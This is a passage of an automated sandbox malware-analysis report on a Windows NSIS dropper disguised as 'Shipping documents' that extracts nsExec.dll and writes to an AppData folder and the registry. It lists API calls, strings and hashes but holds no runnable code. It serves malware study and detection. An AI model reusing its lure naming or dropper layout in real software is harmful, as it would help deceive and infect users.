CompareFileTime.KERNEL32(-00000014,?,Exec,Exec,00000000,00000000,Exec,C:\Users\user\AppData\Local\acneform\Baroco,?,?,00000031), ref: 004017DA

Part of subcall function 00406557: lstrcpynW.KERNEL32(?,?,00000400,004036A4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406564

Part of subcall function 004055DC: lstrlenW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,00000000,00424620,762323A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
Part of subcall function 004055DC: lstrlenW.KERNEL32(0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,00000000,00424620,762323A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
Part of subcall function 004055DC: lstrcatW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,0040341D,0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,00000000,00424620,762323A0), ref: 00405637
Part of subcall function 004055DC: SetWindowTextW.USER32(Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll), ref: 00405649
Part of subcall function 004055DC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
Part of subcall function 004055DC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
Part of subcall function 004055DC: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

Strings

Exec, xrefs: 00401792, 0040179B, 004017A8, 004017BA, 004017C6, 004017FC, 00401812, 00401830, 0040186C, 004018ED, 004018F6, 00401900, 0040190B
C:\Users\user\AppData\Local\acneform\Baroco, xrefs: 004017A3
C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll, xrefs: 0040183A, 00401856
C:\Users\user\AppData\Local\Temp\nsi1309.tmp, xrefs: 00401826, 00401844

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsi1309.tmp$C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll$C:\Users\user\AppData\Local\acneform\Baroco$Exec
API String ID: 1941528284-4042721782
Opcode ID: 6570eeae84e5bb265c2249ceb719c511b69c24445da543620ab3fdc205d1b951
Instruction ID: f3bec3fd9c2ad120a03a9c06557e7274b723a0da437845685234e4033458a62e
Opcode Fuzzy Hash: 6570eeae84e5bb265c2249ceb719c511b69c24445da543620ab3fdc205d1b951
Instruction Fuzzy Hash: 0B419471800108BACB11BFA5DD85DBE76B9EF45328B21423FF412B10E2DB3C8A519A2D

Function 004055DC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,00000000,00424620,762323A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
lstrlenW.KERNEL32(0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,00000000,00424620,762323A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
lstrcatW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,0040341D,0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,00000000,00424620,762323A0), ref: 00405637
SetWindowTextW.USER32(Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll), ref: 00405649
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

Strings

Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll, xrefs: 004055FD, 0040560D, 00405613, 00405636, 00405642

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll
API String ID: 2531174081-4233364125
Opcode ID: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction ID: 906fe2e33ec339045028823105f1a28636d6cdc7c4a53a0106b9bb612f22f5f3
Opcode Fuzzy Hash: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction Fuzzy Hash: 9121A171900158BACB119F65DD449CFBFB4EF45350F50843AF508B62A0C3794A50CFA8

Function 004068DB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068F2
wsprintfW.USER32 ref: 0040692D
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406941

Strings

%s%S.dll, xrefs: 00406927
UXTHEME, xrefs: 004068E4

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME
API String ID: 2200240437-1106614640
Opcode ID: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction ID: a217f45d9ff01499786c61cea798a126a457230594f844882b590dd92c6ddc53
Opcode Fuzzy Hash: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction Fuzzy Hash: 69F0F671501219A6CF14BB68DD0DF9B376CAB40304F21447AA646F20E0EB789B69CBA8

Function 00402EAE Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402F02
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F4E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F57
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F6E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F79

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction ID: 7c59605d0ca35e0e1f1170af87acd2d95b5481229a772e02f8b12e0d157fbf49
Opcode Fuzzy Hash: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction Fuzzy Hash: 2A216B7150010ABFDF119F90CE89EEF7B7DEB54398F100076B949B21E0D7B49E54AA68

Function 00401C48 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB8
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CD0

Strings

!, xrefs: 00401C84

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 069d8cd0b50c9c3d23d30c496d0653b5436aef65d2998253063e1abfe41eec6a
Instruction ID: 3d1946e732457e70d46414fe723373bc78a31951f468440fe5e33f287296c6aa
Opcode Fuzzy Hash: 069d8cd0b50c9c3d23d30c496d0653b5436aef65d2998253063e1abfe41eec6a
Instruction Fuzzy Hash: BC21AD71D1421AAFEB05AFA4D94AAFE7BB0EF84304F10453EF601B61D0D7B84941DB98

Function 0040248F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsi1309.tmp,00000023,00000011,00000002), ref: 004024DA
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,00000000,00000011,00000002), ref: 0040251A
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,00000000,00000011,00000002), ref: 00402602

Strings

C:\Users\user\AppData\Local\Temp\nsi1309.tmp, xrefs: 004024CB, 004024D9, 004024F0, 00402504, 0040250F

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsi1309.tmp
API String ID: 2655323295-3576001853
Opcode ID: f78f700b530699748f9fad481ce2e67ea2ae6cf6ef13030ba4708d919309f38a
Instruction ID: e3d4462d3b771ebaa4f16124ca1672ddbf53c4078f16fd27a1e0ad00bfdc49f7
Opcode Fuzzy Hash: f78f700b530699748f9fad481ce2e67ea2ae6cf6ef13030ba4708d919309f38a
Instruction Fuzzy Hash: 8B117F31900118BEEB10EFA5DE59EAEBAB4EF54358F11443FF504B71C1D7B88E419A58

Function 00406076 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00406094
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403530,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C), ref: 004060AF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040607B
nsa, xrefs: 00406083

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1857211195
Opcode ID: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction ID: 86e06e500a6970b3bc5bd370241205c1b86a0a172d82c816bfbfc8c597d973d5
Opcode Fuzzy Hash: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction Fuzzy Hash: 65F09076B50204FBEB10CF69ED05F9EB7ACEB95750F11803AED05F7240E6B099548768

Function 004015C6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405ED1: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,?,00405F45,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"), ref: 00405EDF
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EE4
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EFC

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161F

Part of subcall function 00405AAB: CreateDirectoryW.KERNELBASE(00437800,?), ref: 00405AED

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\acneform\Baroco,?,00000000,000000F0), ref: 00401652

Strings

C:\Users\user\AppData\Local\acneform\Baroco, xrefs: 00401645

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\acneform\Baroco
API String ID: 1892508949-727163374
Opcode ID: 3fdecb0bba39e703bf4163983f1431fe553617167f418b1ef3a8f15efc1dcdc7
Instruction ID: 6fd3d265dcb44280b24f8e6f21651466162e19908bb00ba525d5af3adea1cd3c
Opcode Fuzzy Hash: 3fdecb0bba39e703bf4163983f1431fe553617167f418b1ef3a8f15efc1dcdc7
Instruction Fuzzy Hash: F211E231404104ABCF206FA5CD0159F36B0EF04368B25493FE945B22F1DA3D4A81DA5E

Function 00406425 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000000,00000000,?,?,00000800,00000000,?,?,?,?,Exec,?,00000000,00406696,80000002), ref: 0040646B
RegCloseKey.KERNELBASE(?), ref: 00406476

Strings

Exec, xrefs: 0040642C

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CloseQueryValue
String ID: Exec
API String ID: 3356406503-459137531
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: 70129269225b3d2074805611e9e9ab3b6623f97616b55adb64abfcd2b3eb4ee3
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: 3F017172540209AADF21CF51CC05EDB3BA8EB54364F114439FD1596190D738D964DBA4

Function 004020DD Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402108

Part of subcall function 004055DC: lstrlenW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,00000000,00424620,762323A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
Part of subcall function 004055DC: lstrlenW.KERNEL32(0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,00000000,00424620,762323A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
Part of subcall function 004055DC: lstrcatW.KERNEL32(Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,0040341D,0040341D,Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,00000000,00424620,762323A0), ref: 00405637
Part of subcall function 004055DC: SetWindowTextW.USER32(Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll,Extract: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll), ref: 00405649
Part of subcall function 004055DC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
Part of subcall function 004055DC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
Part of subcall function 004055DC: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00402119
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402196

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 673ead7fa0e448a1c5043ade6eeb1382bb3ed77738cd55eb2ad3f0262cc6e6ef
Instruction ID: 3664ba2fa099400b069473e4dbd5787d756d46fb785c5e03f539e90392346bbf
Opcode Fuzzy Hash: 673ead7fa0e448a1c5043ade6eeb1382bb3ed77738cd55eb2ad3f0262cc6e6ef
Instruction Fuzzy Hash: C9219231904108BADF11AFA5CF49A9D7A71FF84358F20413FF201B91E1CBBD8982AA5D

Function 00401BA0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401C10
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401C22

Strings

Exec, xrefs: 00401BC7, 00401BCD, 00401BE7

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Global$AllocFree
String ID: Exec
API String ID: 3394109436-459137531
Opcode ID: fb5b9ebeaad3a79f54b281eda5c862824b880451e65e455491233296c99b22fc
Instruction ID: 52bd34c5afe528d1e7f7705a0b64ffdd7bdb14472fd10e075fda9825736fe234
Opcode Fuzzy Hash: fb5b9ebeaad3a79f54b281eda5c862824b880451e65e455491233296c99b22fc
Instruction Fuzzy Hash: B221F972900254E7D720BF98DD89E5E73B5AB04718711093FF552B76C0D7B8AC019B9D

Function 00402304 Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

